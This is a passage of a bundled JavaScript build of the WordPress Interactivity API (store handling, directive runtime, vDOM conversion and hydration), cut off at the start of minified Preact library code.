change. if (lock !== universalUnlock) { storeLocks.set(namespace, lock); } const rawStore = { state: proxifyState(namespace, isPlainObject(state) ? state : {}), ...block }; const proxifiedStore = proxifyStore(namespace, rawStore); rawStores.set(namespace, rawStore); stores.set(namespace, proxifiedStore); } else { // Lock the store if it wasn't locked yet and the passed lock is // different from the universal unlock. If no lock is given, the store // will be public and won't accept any lock from now on. if (lock !== universalUnlock && !storeLocks.has(namespace)) { storeLocks.set(namespace, lock); } else { const storeLock = storeLocks.get(namespace); const isLockValid = lock === universalUnlock || lock !== true && lock === storeLock; if (!isLockValid) { if (!storeLock) { throw Error('Cannot lock a public store'); } else { throw Error('Cannot unlock a private store with an invalid lock code'); } } } const target = rawStores.get(namespace); deepMerge(target, block); deepMerge(target.state, state); } return stores.get(namespace); } const parseServerData = (dom = document) => { var _dom$getElementById; const jsonDataScriptTag = // Preferred Script Module data passing form (_dom$getElementById = dom.getElementById('wp-script-module-data-@wordpress/interactivity')) !== null && _dom$getElementById !== void 0 ? _dom$getElementById : // Legacy form dom.getElementById('wp-interactivity-data'); if (jsonDataScriptTag?.textContent) { try { return JSON.parse(jsonDataScriptTag.textContent); } catch {} } return {}; }; const populateServerData = data => { if (isPlainObject(data?.state)) { Object.entries(data.state).forEach(([namespace, state]) => { const st = store(namespace, {}, { lock: universalUnlock }); deepMerge(st.state, state, false); deepMerge(getServerState(namespace), state); }); } if (isPlainObject(data?.config)) { Object.entries(data.config).forEach(([namespace, config]) => { storeConfigs.set(namespace, config); }); } }; // Parse and populate the initial state and config. const data = parseServerData(); populateServerData(data); ;// ./node_modules/@wordpress/interactivity/build-module/hooks.js // eslint-disable-next-line eslint-comments/disable-enable-pair /* eslint-disable react-hooks/exhaustive-deps */ /** * External dependencies */ /** * Internal dependencies */ function isNonDefaultDirectiveSuffix(entry) { return entry.suffix !== null; } function isDefaultDirectiveSuffix(entry) { return entry.suffix === null; } // Main context. const context = (0,preact_module/* createContext */.q6)({ client: {}, server: {} }); // WordPress Directives. const directiveCallbacks = {}; const directivePriorities = {}; /** * Register a new directive type in the Interactivity API runtime. * * @example * ```js * directive( * 'alert', // Name without the `data-wp-` prefix. * ( { directives: { alert }, element, evaluate } ) => { * const defaultEntry = alert.find( isDefaultDirectiveSuffix ); * element.props.onclick = () => { alert( evaluate( defaultEntry ) ); } * } * ) * ``` * * The previous code registers a custom directive type for displaying an alert * message whenever an element using it is clicked. The message text is obtained * from the store under the inherited namespace, using `evaluate`. * * When the HTML is processed by the Interactivity API, any element containing * the `data-wp-alert` directive will have the `onclick` event handler, e.g., * * ```html * <div data-wp-interactive="messages"> * <button data-wp-alert="state.alert">Click me!</button> * </div> * ``` * Note that, in the previous example, the directive callback gets the path * value (`state.alert`) from the directive entry with suffix `null`. A * custom suffix can also be specified by appending `--` to the directive * attribute, followed by the suffix, like in the following HTML snippet: * * ```html * <div data-wp-interactive="myblock"> * <button * data-wp-color--text="state.text" * data-wp-color--background="state.background" * >Click me!</button> * </div> * ``` * * This could be an hypothetical implementation of the custom directive used in * the snippet above. * * @example * ```js * directive( * 'color', // Name without prefix and suffix. * ( { directives: { color: colors }, ref, evaluate } ) => * colors.forEach( ( color ) => { * if ( color.suffix = 'text' ) { * ref.style.setProperty( * 'color', * evaluate( color.text ) * ); * } * if ( color.suffix = 'background' ) { * ref.style.setProperty( * 'background-color', * evaluate( color.background ) * ); * } * } ); * } * ) * ``` * * @param name Directive name, without the `data-wp-` prefix. * @param callback Function that runs the directive logic. * @param options Options object. * @param options.priority Option to control the directive execution order. The * lesser, the highest priority. Default is `10`. */ const directive = (name, callback, { priority = 10 } = {}) => { directiveCallbacks[name] = callback; directivePriorities[name] = priority; }; // Resolve the path to some property of the store object. const resolve = (path, namespace) => { if (!namespace) { warn(`Namespace missing for "${path}". The value for that path won't be resolved.`); return; } let resolvedStore = stores.get(namespace); if (typeof resolvedStore === 'undefined') { resolvedStore = store(namespace, {}, { lock: universalUnlock }); } const current = { ...resolvedStore, context: getScope().context[namespace] }; try { // TODO: Support lazy/dynamically initialized stores return path.split('.').reduce((acc, key) => acc[key], current); } catch (e) {} }; // Generate the evaluate function. const getEvaluate = ({ scope }) => // TODO: When removing the temporarily remaining `value( ...args )` call below, remove the `...args` parameter too. (entry, ...args) => { let { value: path, namespace } = entry; if (typeof path !== 'string') { throw new Error('The `value` prop should be a string path'); } // If path starts with !, remove it and save a flag. const hasNegationOperator = path[0] === '!' && !!(path = path.slice(1)); setScope(scope); const value = resolve(path, namespace); // Functions are returned without invoking them. if (typeof value === 'function') { // Except if they have a negation operator present, for backward compatibility. // This pattern is strongly discouraged and deprecated, and it will be removed in a near future release. // TODO: Remove this condition to effectively ignore negation operator when provided with a function. if (hasNegationOperator) { warn('Using a function with a negation operator is deprecated and will stop working in WordPress 6.9. Please use derived state instead.'); const functionResult = !value(...args); resetScope(); return functionResult; } // Reset scope before return and wrap the function so it will still run within the correct scope. resetScope(); return (...functionArgs) => { setScope(scope); const functionResult = value(...functionArgs); resetScope(); return functionResult; }; } const result = value; resetScope(); return hasNegationOperator ? !result : result; }; // Separate directives by priority. The resulting array contains objects // of directives grouped by same priority, and sorted in ascending order. const getPriorityLevels = directives => { const byPriority = Object.keys(directives).reduce((obj, name) => { if (directiveCallbacks[name]) { const priority = directivePriorities[name]; (obj[priority] = obj[priority] || []).push(name); } return obj; }, {}); return Object.entries(byPriority).sort(([p1], [p2]) => parseInt(p1) - parseInt(p2)).map(([, arr]) => arr); }; // Component that wraps each priority level of directives of an element. const Directives = ({ directives, priorityLevels: [currentPriorityLevel, ...nextPriorityLevels], element, originalProps, previousScope }) => { // Initialize the scope of this element. These scopes are different per each // level because each level has a different context, but they share the same // element ref, state and props. const scope = A({}).current; scope.evaluate = q(getEvaluate({ scope }), []); const { client, server } = x(context); scope.context = client; scope.serverContext = server; /* eslint-disable react-hooks/rules-of-hooks */ scope.ref = previousScope?.ref || A(null); /* eslint-enable react-hooks/rules-of-hooks */ // Create a fresh copy of the vnode element and add the props to the scope, // named as attributes (HTML Attributes). element = (0,preact_module/* cloneElement */.Ob)(element, { ref: scope.ref }); scope.attributes = element.props; // Recursively render the wrapper for the next priority level. const children = nextPriorityLevels.length > 0 ? (0,preact_module.h)(Directives, { directives, priorityLevels: nextPriorityLevels, element, originalProps, previousScope: scope }) : element; const props = { ...originalProps, children }; const directiveArgs = { directives, props, element, context, evaluate: scope.evaluate }; setScope(scope); for (const directiveName of currentPriorityLevel) { const wrapper = directiveCallbacks[directiveName]?.(directiveArgs); if (wrapper !== undefined) { props.children = wrapper; } } resetScope(); return props.children; }; // Preact Options Hook called each time a vnode is created. const old = preact_module/* options */.fF.vnode; preact_module/* options */.fF.vnode = vnode => { if (vnode.props.__directives) { const props = vnode.props; const directives = props.__directives; if (directives.key) { vnode.key = directives.key.find(isDefaultDirectiveSuffix).value; } delete props.__directives; const priorityLevels = getPriorityLevels(directives); if (priorityLevels.length > 0) { vnode.props = { directives, priorityLevels, originalProps: props, type: vnode.type, element: (0,preact_module.h)(vnode.type, props), top: true }; vnode.type = Directives; } } if (old) { old(vnode); } }; ;// ./node_modules/@wordpress/interactivity/build-module/directives.js // eslint-disable-next-line eslint-comments/disable-enable-pair /* eslint-disable react-hooks/exhaustive-deps */ /** * External dependencies */ /** * Internal dependencies */ /** * Recursively clone the passed object. * * @param source Source object. * @return Cloned object. */ function deepClone(source) { if (isPlainObject(source)) { return Object.fromEntries(Object.entries(source).map(([key, value]) => [key, deepClone(value)])); } if (Array.isArray(source)) { return source.map(i => deepClone(i)); } return source; } /** * Wraps event object to warn about access of synchronous properties and methods. * * For all store actions attached to an event listener the event object is proxied via this function, unless the action * uses the `withSyncEvent()` utility to indicate that it requires synchronous access to the event object. * * At the moment, the proxied event only emits warnings when synchronous properties or methods are being accessed. In * the future this will be changed and result in an error. The current temporary behavior allows implementers to update * their relevant actions to use `withSyncEvent()`. * * For additional context, see https://github.com/WordPress/gutenberg/issues/64944. * * @param event Event object. * @return Proxied event object. */ function wrapEventAsync(event) { const handler = { get(target, prop, receiver) { const value = target[prop]; switch (prop) { case 'currentTarget': warn(`Accessing the synchronous event.${prop} property in a store action without wrapping it in withSyncEvent() is deprecated and will stop working in WordPress 6.9. Please wrap the store action in withSyncEvent().`); break; case 'preventDefault': case 'stopImmediatePropagation': case 'stopPropagation': warn(`Using the synchronous event.${prop}() function in a store action without wrapping it in withSyncEvent() is deprecated and will stop working in WordPress 6.9. Please wrap the store action in withSyncEvent().`); break; } if (value instanceof Function) { return function (...args) { return value.apply(this === receiver ? target : this, args); }; } return value; } }; return new Proxy(event, handler); } const newRule = /(?:([\u0080-\uFFFF\w-%@]+) *:? *([^{;]+?);|([^;}{]*?) *{)|(}\s*)/g; const ruleClean = /\/\*[^]*?\*\/| +/g; const ruleNewline = /\n+/g; const empty = ' '; /** * Convert a css style string into a object. * * Made by Cristian Bote (@cristianbote) for Goober. * https://unpkg.com/browse/goober@2.1.13/src/core/astish.js * * @param val CSS string. * @return CSS object. */ const cssStringToObject = val => { const tree = [{}]; let block, left; while (block = newRule.exec(val.replace(ruleClean, ''))) { if (block[4]) { tree.shift(); } else if (block[3]) { left = block[3].replace(ruleNewline, empty).trim(); tree.unshift(tree[0][left] = tree[0][left] || {}); } else { tree[0][block[1]] = block[2].replace(ruleNewline, empty).trim(); } } return tree[0]; }; /** * Creates a directive that adds an event listener to the global window or * document object. * * @param type 'window' or 'document' */ const getGlobalEventDirective = type => { return ({ directives, evaluate }) => { directives[`on-${type}`].filter(isNonDefaultDirectiveSuffix).forEach(entry => { const eventName = entry.suffix.split('--', 1)[0]; useInit(() => { const cb = event => { const result = evaluate(entry); if (typeof result === 'function') { if (!result?.sync) { event = wrapEventAsync(event); } result(event); } }; const globalVar = type === 'window' ? window : document; globalVar.addEventListener(eventName, cb); return () => globalVar.removeEventListener(eventName, cb); }); }); }; }; /** * Creates a directive that adds an async event listener to the global window or * document object. * * @param type 'window' or 'document' */ const getGlobalAsyncEventDirective = type => { return ({ directives, evaluate }) => { directives[`on-async-${type}`].filter(isNonDefaultDirectiveSuffix).forEach(entry => { const eventName = entry.suffix.split('--', 1)[0]; useInit(() => { const cb = async event => { await splitTask(); const result = evaluate(entry); if (typeof result === 'function') { result(event); } }; const globalVar = type === 'window' ? window : document; globalVar.addEventListener(eventName, cb, { passive: true }); return () => globalVar.removeEventListener(eventName, cb); }); }); }; }; /* harmony default export */ const directives = (() => { // data-wp-context directive('context', ({ directives: { context }, props: { children }, context: inheritedContext }) => { const { Provider } = inheritedContext; const defaultEntry = context.find(isDefaultDirectiveSuffix); const { client: inheritedClient, server: inheritedServer } = x(inheritedContext); const ns = defaultEntry.namespace; const client = A(proxifyState(ns, {})); const server = A(proxifyState(ns, {}, { readOnly: true })); // No change should be made if `defaultEntry` does not exist. const contextStack = T(() => { const result = { client: { ...inheritedClient }, server: { ...inheritedServer } }; if (defaultEntry) { const { namespace, value } = defaultEntry; // Check that the value is a JSON object. Send a console warning if not. if (!isPlainObject(value)) { warn(`The value of data-wp-context in "${namespace}" store must be a valid stringified JSON object.`); } deepMerge(client.current, deepClone(value), false); deepMerge(server.current, deepClone(value)); result.client[namespace] = proxifyContext(client.current, inheritedClient[namespace]); result.server[namespace] = proxifyContext(server.current, inheritedServer[namespace]); } return result; }, [defaultEntry, inheritedClient, inheritedServer]); return (0,preact_module.h)(Provider, { value: contextStack }, children); }, { priority: 5 }); // data-wp-watch--[name] directive('watch', ({ directives: { watch }, evaluate }) => { watch.forEach(entry => { useWatch(() => { let start; if (false) {} let result = evaluate(entry); if (typeof result === 'function') { result = result(); } if (false) {} return result; }); }); }); // data-wp-init--[name] directive('init', ({ directives: { init }, evaluate }) => { init.forEach(entry => { // TODO: Replace with useEffect to prevent unneeded scopes. useInit(() => { let start; if (false) {} let result = evaluate(entry); if (typeof result === 'function') { result = result(); } if (false) {} return result; }); }); }); // data-wp-on--[event] directive('on', ({ directives: { on }, element, evaluate }) => { const events = new Map(); on.filter(isNonDefaultDirectiveSuffix).forEach(entry => { const event = entry.suffix.split('--')[0]; if (!events.has(event)) { events.set(event, new Set()); } events.get(event).add(entry); }); events.forEach((entries, eventType) => { const existingHandler = element.props[`on${eventType}`]; element.props[`on${eventType}`] = event => { entries.forEach(entry => { if (existingHandler) { existingHandler(event); } let start; if (false) {} const result = evaluate(entry); if (typeof result === 'function') { if (!result?.sync) { event = wrapEventAsync(event); } result(event); } if (false) {} }); }; }); }); // data-wp-on-async--[event] directive('on-async', ({ directives: { 'on-async': onAsync }, element, evaluate }) => { const events = new Map(); onAsync.filter(isNonDefaultDirectiveSuffix).forEach(entry => { const event = entry.suffix.split('--')[0]; if (!events.has(event)) { events.set(event, new Set()); } events.get(event).add(entry); }); events.forEach((entries, eventType) => { const existingHandler = element.props[`on${eventType}`]; element.props[`on${eventType}`] = event => { if (existingHandler) { existingHandler(event); } entries.forEach(async entry => { await splitTask(); const result = evaluate(entry); if (typeof result === 'function') { result(event); } }); }; }); }); // data-wp-on-window--[event] directive('on-window', getGlobalEventDirective('window')); // data-wp-on-document--[event] directive('on-document', getGlobalEventDirective('document')); // data-wp-on-async-window--[event] directive('on-async-window', getGlobalAsyncEventDirective('window')); // data-wp-on-async-document--[event] directive('on-async-document', getGlobalAsyncEventDirective('document')); // data-wp-class--[classname] directive('class', ({ directives: { class: classNames }, element, evaluate }) => { classNames.filter(isNonDefaultDirectiveSuffix).forEach(entry => { const className = entry.suffix; let result = evaluate(entry); if (typeof result === 'function') { result = result(); } const currentClass = element.props.class || ''; const classFinder = new RegExp(`(^|\\s)${className}(\\s|$)`, 'g'); if (!result) { element.props.class = currentClass.replace(classFinder, ' ').trim(); } else if (!classFinder.test(currentClass)) { element.props.class = currentClass ? `${currentClass} ${className}` : className; } useInit(() => { /* * This seems necessary because Preact doesn't change the class * names on the hydration, so we have to do it manually. It doesn't * need deps because it only needs to do it the first time. */ if (!result) { element.ref.current.classList.remove(className); } else { element.ref.current.classList.add(className); } }); }); }); // data-wp-style--[style-prop] directive('style', ({ directives: { style }, element, evaluate }) => { style.filter(isNonDefaultDirectiveSuffix).forEach(entry => { const styleProp = entry.suffix; let result = evaluate(entry); if (typeof result === 'function') { result = result(); } element.props.style = element.props.style || {}; if (typeof element.props.style === 'string') { element.props.style = cssStringToObject(element.props.style); } if (!result) { delete element.props.style[styleProp]; } else { element.props.style[styleProp] = result; } useInit(() => { /* * This seems necessary because Preact doesn't change the styles on * the hydration, so we have to do it manually. It doesn't need deps * because it only needs to do it the first time. */ if (!result) { element.ref.current.style.removeProperty(styleProp); } else { element.ref.current.style[styleProp] = result; } }); }); }); // data-wp-bind--[attribute] directive('bind', ({ directives: { bind }, element, evaluate }) => { bind.filter(isNonDefaultDirectiveSuffix).forEach(entry => { const attribute = entry.suffix; let result = evaluate(entry); if (typeof result === 'function') { result = result(); } element.props[attribute] = result; /* * This is necessary because Preact doesn't change the attributes on the * hydration, so we have to do it manually. It only needs to do it the * first time. After that, Preact will handle the changes. */ useInit(() => { const el = element.ref.current; /* * We set the value directly to the corresponding HTMLElement instance * property excluding the following special cases. We follow Preact's * logic: https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L110-L129 */ if (attribute === 'style') { if (typeof result === 'string') { el.style.cssText = result; } return; } else if (attribute !== 'width' && attribute !== 'height' && attribute !== 'href' && attribute !== 'list' && attribute !== 'form' && /* * The value for `tabindex` follows the parsing rules for an * integer. If that fails, or if the attribute isn't present, then * the browsers should "follow platform conventions to determine if * the element should be considered as a focusable area", * practically meaning that most elements get a default of `-1` (not * focusable), but several also get a default of `0` (focusable in * order after all elements with a positive `tabindex` value). * * @see https://html.spec.whatwg.org/#tabindex-value */ attribute !== 'tabIndex' && attribute !== 'download' && attribute !== 'rowSpan' && attribute !== 'colSpan' && attribute !== 'role' && attribute in el) { try { el[attribute] = result === null || result === undefined ? '' : result; return; } catch (err) {} } /* * aria- and data- attributes have no boolean representation. * A `false` value is different from the attribute not being * present, so we can't remove it. * We follow Preact's logic: https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 */ if (result !== null && result !== undefined && (result !== false || attribute[4] === '-')) { el.setAttribute(attribute, result); } else { el.removeAttribute(attribute); } }); }); }); // data-wp-ignore directive('ignore', ({ element: { type: Type, props: { innerHTML, ...rest } } }) => { // Preserve the initial inner HTML. const cached = T(() => innerHTML, []); return (0,preact_module.h)(Type, { dangerouslySetInnerHTML: { __html: cached }, ...rest }); }); // data-wp-text directive('text', ({ directives: { text }, element, evaluate }) => { const entry = text.find(isDefaultDirectiveSuffix); if (!entry) { element.props.children = null; return; } try { let result = evaluate(entry); if (typeof result === 'function') { result = result(); } element.props.children = typeof result === 'object' ? null : result.toString(); } catch (e) { element.props.children = null; } }); // data-wp-run directive('run', ({ directives: { run }, evaluate }) => { run.forEach(entry => { let result = evaluate(entry); if (typeof result === 'function') { result = result(); } return result; }); }); // data-wp-each--[item] directive('each', ({ directives: { each, 'each-key': eachKey }, context: inheritedContext, element, evaluate }) => { if (element.type !== 'template') { return; } const { Provider } = inheritedContext; const inheritedValue = x(inheritedContext); const [entry] = each; const { namespace } = entry; let iterable = evaluate(entry); if (typeof iterable === 'function') { iterable = iterable(); } if (typeof iterable?.[Symbol.iterator] !== 'function') { return; } const itemProp = isNonDefaultDirectiveSuffix(entry) ? kebabToCamelCase(entry.suffix) : 'item'; const result = []; for (const item of iterable) { const itemContext = proxifyContext(proxifyState(namespace, {}), inheritedValue.client[namespace]); const mergedContext = { client: { ...inheritedValue.client, [namespace]: itemContext }, server: { ...inheritedValue.server } }; // Set the item after proxifying the context. mergedContext.client[namespace][itemProp] = item; const scope = { ...getScope(), context: mergedContext.client, serverContext: mergedContext.server }; const key = eachKey ? getEvaluate({ scope })(eachKey[0]) : item; result.push((0,preact_module.h)(Provider, { value: mergedContext, key }, element.props.content)); } return result; }, { priority: 20 }); directive('each-child', () => null, { priority: 1 }); }); ;// ./node_modules/@wordpress/interactivity/build-module/constants.js const directivePrefix = 'wp'; ;// ./node_modules/@wordpress/interactivity/build-module/vdom.js /** * External dependencies */ /** * Internal dependencies */ const ignoreAttr = `data-${directivePrefix}-ignore`; const islandAttr = `data-${directivePrefix}-interactive`; const fullPrefix = `data-${directivePrefix}-`; const namespaces = []; const currentNamespace = () => { var _namespaces; return (_namespaces = namespaces[namespaces.length - 1]) !== null && _namespaces !== void 0 ? _namespaces : null; }; const isObject = item => Boolean(item && typeof item === 'object' && item.constructor === Object); // Regular expression for directive parsing. const directiveParser = new RegExp(`^data-${directivePrefix}-` + // ${p} must be a prefix string, like 'wp'. // Match alphanumeric characters including hyphen-separated // segments. It excludes underscore intentionally to prevent confusion. // E.g., "custom-directive". '([a-z0-9]+(?:-[a-z0-9]+)*)' + // (Optional) Match '--' followed by any alphanumeric characters. It // excludes underscore intentionally to prevent confusion, but it can // contain multiple hyphens. E.g., "--custom-prefix--with-more-info". '(?:--([a-z0-9_-]+))?$', 'i' // Case insensitive. ); // Regular expression for reference parsing. It can contain a namespace before // the reference, separated by `::`, like `some-namespace::state.somePath`. // Namespaces can contain any alphanumeric characters, hyphens, underscores or // forward slashes. References don't have any restrictions. const nsPathRegExp = /^([\w_\/-]+)::(.+)$/; const hydratedIslands = new WeakSet(); /** * Recursive function that transforms a DOM tree into vDOM. * * @param root The root element or node to start traversing on. * @return The resulting vDOM tree. */ function toVdom(root) { const treeWalker = document.createTreeWalker(root, 205 // TEXT + CDATA_SECTION + COMMENT + PROCESSING_INSTRUCTION + ELEMENT ); function walk(node) { const { nodeType } = node; // TEXT_NODE (3) if (nodeType === 3) { return [node.data]; } // CDATA_SECTION_NODE (4) if (nodeType === 4) { var _nodeValue; const next = treeWalker.nextSibling(); node.replaceWith(new window.Text((_nodeValue = node.nodeValue) !== null && _nodeValue !== void 0 ? _nodeValue : '')); return [node.nodeValue, next]; } // COMMENT_NODE (8) || PROCESSING_INSTRUCTION_NODE (7) if (nodeType === 8 || nodeType === 7) { const next = treeWalker.nextSibling(); node.remove(); return [null, next]; } const elementNode = node; const { attributes } = elementNode; const localName = elementNode.localName; const props = {}; const children = []; const directives = []; let ignore = false; let island = false; for (let i = 0; i < attributes.length; i++) { const attributeName = attributes[i].name; const attributeValue = attributes[i].value; if (attributeName[fullPrefix.length] && attributeName.slice(0, fullPrefix.length) === fullPrefix) { if (attributeName === ignoreAttr) { ignore = true; } else { var _regexResult$, _regexResult$2; const regexResult = nsPathRegExp.exec(attributeValue); const namespace = (_regexResult$ = regexResult?.[1]) !== null && _regexResult$ !== void 0 ? _regexResult$ : null; let value = (_regexResult$2 = regexResult?.[2]) !== null && _regexResult$2 !== void 0 ? _regexResult$2 : attributeValue; try { const parsedValue = JSON.parse(value); value = isObject(parsedValue) ? parsedValue : value; } catch {} if (attributeName === islandAttr) { island = true; const islandNamespace = // eslint-disable-next-line no-nested-ternary typeof value === 'string' ? value : typeof value?.namespace === 'string' ? value.namespace : null; namespaces.push(islandNamespace); } else { directives.push([attributeName, namespace, value]); } } } else if (attributeName === 'ref') { continue; } props[attributeName] = attributeValue; } if (ignore && !island) { return [(0,preact_module.h)(localName, { ...props, innerHTML: elementNode.innerHTML, __directives: { ignore: true } })]; } if (island) { hydratedIslands.add(elementNode); } if (directives.length) { props.__directives = directives.reduce((obj, [name, ns, value]) => { const directiveMatch = directiveParser.exec(name); if (directiveMatch === null) { warn(`Found malformed directive name: ${name}.`); return obj; } const prefix = directiveMatch[1] || ''; const suffix = directiveMatch[2] || null; obj[prefix] = obj[prefix] || []; obj[prefix].push({ namespace: ns !== null && ns !== void 0 ? ns : currentNamespace(), value: value, suffix }); return obj; }, {}); } if (localName === 'template') { props.content = [...elementNode.content.childNodes].map(childNode => toVdom(childNode)); } else { let child = treeWalker.firstChild(); if (child) { while (child) { const [vnode, nextChild] = walk(child); if (vnode) { children.push(vnode); } child = nextChild || treeWalker.nextSibling(); } treeWalker.parentNode(); } } // Restore previous namespace. if (island) { namespaces.pop(); } return [(0,preact_module.h)(localName, props, children)]; } return walk(treeWalker.currentNode); } ;// ./node_modules/@wordpress/interactivity/build-module/init.js /** * External dependencies */ /** * Internal dependencies */ // Keep the same root fragment for each interactive region node. const regionRootFragments = new WeakMap(); const getRegionRootFragment = region => { if (!region.parentElement) { throw Error('The passed region should be an element with a parent.'); } if (!regionRootFragments.has(region)) { regionRootFragments.set(region, createRootFragment(region.parentElement, region)); } return regionRootFragments.get(region); }; // Initial vDOM regions associated with its DOM element. const initialVdom = new WeakMap(); // Initialize the router with the initial DOM. const init = async () => { const nodes = document.querySelectorAll(`[data-${directivePrefix}-interactive]`); /* * This `await` with setTimeout is required to apparently ensure that the interactive blocks have their stores * fully initialized prior to hydrating the blocks. If this is not present, then an error occurs, for example: * > view.js:46 Uncaught (in promise) ReferenceError: Cannot access 'state' before initialization * This occurs when splitTask() is implemented with scheduler.yield() as opposed to setTimeout(), as with the former * split tasks are added to the front of the task queue whereas with the latter they are added to the end of the queue. */ await new Promise(resolve => { setTimeout(resolve, 0); }); for (const node of nodes) { if (!hydratedIslands.has(node)) { await splitTask(); const fragment = getRegionRootFragment(node); const vdom = toVdom(node); initialVdom.set(node, vdom); await splitTask(); (0,preact_module/* hydrate */.Qv)(vdom, fragment); } } }; ;// ./node_modules/@wordpress/interactivity/build-module/index.js /** * External dependencies */ /** * Internal dependencies */ const requiredConsent = 'I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WordPress.'; const privateApis = lock => { if (lock === requiredConsent) { return { directivePrefix: directivePrefix, getRegionRootFragment: getRegionRootFragment, initialVdom: initialVdom, toVdom: toVdom, directive: directive, getNamespace: getNamespace, h: preact_module.h, cloneElement: preact_module/* cloneElement */.Ob, render: preact_module/* render */.XX, proxifyState: proxifyState, parseServerData: parseServerData, populateServerData: populateServerData, batch: signals_core_module_r }; } throw new Error('Forbidden access.'); }; directives(); init(); /***/ }), /***/ 622: /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ FK: () => (/* binding */ k), /* harmony export */ Ob: () => (/* binding */ J), /* harmony export */ Qv: () => (/* binding */ G), /* harmony export */ XX: () => (/* binding */ E), /* harmony export */ fF: () => (/* binding */ l), /* harmony export */ h: () => (/* binding */ _), /* harmony export */ q6: () => (/* binding */ K), /* harmony export */ uA: () => (/* binding */ x), /* harmony export */ zO: () => (/* binding */ u) /* harmony export */ }); /* unused harmony exports createElement, createRef, toChildArray */ var n,l,t,u,i,r,o,e,f,c,s,a,h,p={},v=[],y=/acit|ex(?:s|g|n|p|$)|rph|grid|ows|mnc|ntw|ine[ch]|zoo|^ord|itera/i,d=Array.isArray;function w(n,l){for(var t in l)n[t]=l[t];return n}function g(n){n&&n.parentNode&&n.parentNode.removeChild(n)}function _(l,t,u){var i,r,o,e={};for(o in t)"key"==o?i=t[o]:"ref"==o?r=t[o]:e[o]=t[o];if(arguments.length>2&&(e.children=arguments.length>3?n.call(arguments,2):u),"function"==typeof l&&null!=l.defaultProps)for(o in l.defaultProps)void 0===e[o]&&(e[o]=l.defaultProps[o]);return m(l,e,i,r,null)}function m(n,u,i,r,o){var e={type:n,props:u,key:i,ref:r,__k:null,__:null,__b:0,__e:null,__c:null,constructor:void 0,__v:null==o?++t:o,__i:-1,__u:0};return null==o&&null!=l.vnode&&l.vnode(e),e}function b(){return{current:null}}function k(n){return n.children}function x(n,l){this.props=n,this.context=l}function S(n,l){if(null==l)return n.__?S(n.__,n.__i+1):null;for(var t;l<n.__k.length;l++)if(null!=(t=n.__k[l])&&null!=t.__e)return t.__e;return"function"==typeof n.type?S(n):null}function C(n){var l,t;if(null!=(n=n.__)&&null!=n.__c){for(n.__e=n.__c.base=null,l=0;l<n.__k.length;l++)if(null!=(t=n.__k[l])&&null!=t.__e){n.__e=n.__c.base=t.__e;break}return C(n)}}function M(n){(!n.__d&&(n.__d=!0)&&i.push(n)&&!$.__r++||r!==l.debounceRendering)&&((r=l.debounceRendering)||o)($)}function $(){for(var n,t,u,r,o,f,c,s=1;i.length;)i.length>s&&i.sort(e),n=i.shift(),s=i.length,n.__d&&(u=void 0,o=(r=(t=n).__v).__e,f=[],c=[],t.__P&&((u=w({},r)).__v=r.__v+1,l.vnode&&l.vnode(u),O(t.__P,u,r,t.__n,t.__P.namespaceURI,32&r.__u?[o]:null,f,null==o?S(r):o,!!(32&r.__u),c),u.__v=r.__v,u.__.__k[u.__i]=u,z(f,u,c),u.__e!=o&&C(u)));$.__r=0}function I(n,l,t,u,i,r,o,e,f,c,s){var a,h,y,d,w,g,_=u&&u.__k||v,m=l.length;for(f=P(t,l,_,f,m),a=0;a<m;a++)null!=(y=t.__k[a])&&(h=-1===y.__i?p:_[y.__i]||p,y.__i=a,g=O(n,y,h,i,r,o,e,f,c,s),d=y.__e,y.ref&&h.ref!=y.ref&&(h.ref&&q(h.ref,null,y),s.push(y.ref,y.__c||d,y)),null==w&&null!=d&&(w=d),4&y.__u||h.__k===y.__k?f=A(y,f,n):"function"==typeof y.type&&void 0!==g?f=g:d&&(f=d.nextSibling),y.__u&=-7);return t.__e=w,f}function P(n,l,t,u,i){var r,o,e,f,c,s=t.length,a=s,h=0;for(n.__k=new Array(i),r=0;r<i;r++)null!=(o=l[r])&&"boolean"!=typeof o&&"function"!=typeof o?(f=r+h,(o=n.__k[r]="string"==typeof o||"number"==typeof o||"bigint"==typeof o||o.constructor==String?m(null,o,null,null,null):d(o)?m(k,{children:o},null,null,null):void 0===o.constructor&&o.__b>0?m(o.type,o.props,o.key,o.ref?o.ref:null,o.__v):o).__=n,o.__b=n.__b+1,e=null,-1!==(c=o.__i=L(o,t,f,a))&&(a--,(e=t[c])&&(e.__u|=2)),null==e||null===e.__v?(-1==c&&(i>s?h--:i<s&&h++),"function"!=typeof o.type&&(o.__u|=4)):c!=f&&(c==f-1?h--:c==f+1?h++:(c>f?h--:h++,o.__u|=4))):n.__k[r]=null;if(a)for(r=0;r<s;r++)null!=(e=t[r])&&0==(2&e.__u)&&(e.__e==u&&(u=S(e)),B(e,e));return u}function A(n,l,t){var u,i;if("function"==typeof n.type){for(u=n.__k,i=0;u&&i<u.length;i++)u[i]&&(u[i].__=n,l=A(u[i],l,t));return l}n.__e!=l&&(l&&n.type&&!t.contains(l)&&(l=S(n)),t.insertBefore(n.__e,l||null),l=n.__e);do{l=l&&l.nextSibling}while(null!=l&&8==l.nodeType);return l}function H(n,l){return l=l||[],null==n||"boolean"==typeof n||(d(n)?n.some(function(n){H(n,l)}):l.push(n)),l}function L(n,l,t,u){var i,r,o=n.key,e=n.type,f=l[t];if(null===f&&null==n.key||f&&o==f.key&&e===f.type&&0==(2&f.__u))return t;if(u>(null!=f&&0==(2&f.__u)?1:0))for(i=t-1,r=t+1;i>=0||r<l.length;){if(i>=0){if((f=l[i])&&0==(2&f.__u)&&o==f.key&&e===f.type)return i;i--}if(r<l.length){if((f=l[r])&&0==(2&f.__u)&&o==f.key&&e===f.type)return r;r++}}return-1}function T(n,l,t){"-"==l[0]?n.setProperty(l,null==t?"":t):n[l]=null==t?"":"number"!=typeof t||y.test(l)?t:t+"px"}function j(n,l,t,u,i){var r;n:if("style"==l)if("string"==typeof t)n.style.cssText=t;else{if("string"==typeof u&&(n.style.cssText=u=""),u)for(l in u)t&&l in t||T(n.style,l,"");if(t)for(l in t)u&&t[l]===u[l]||T(n.style,l,t[l])}else if("o"==l[0]&&"n"==l[1])r=l!=(l=l.replace(f,"$1")),l=l.toLowerCase()in 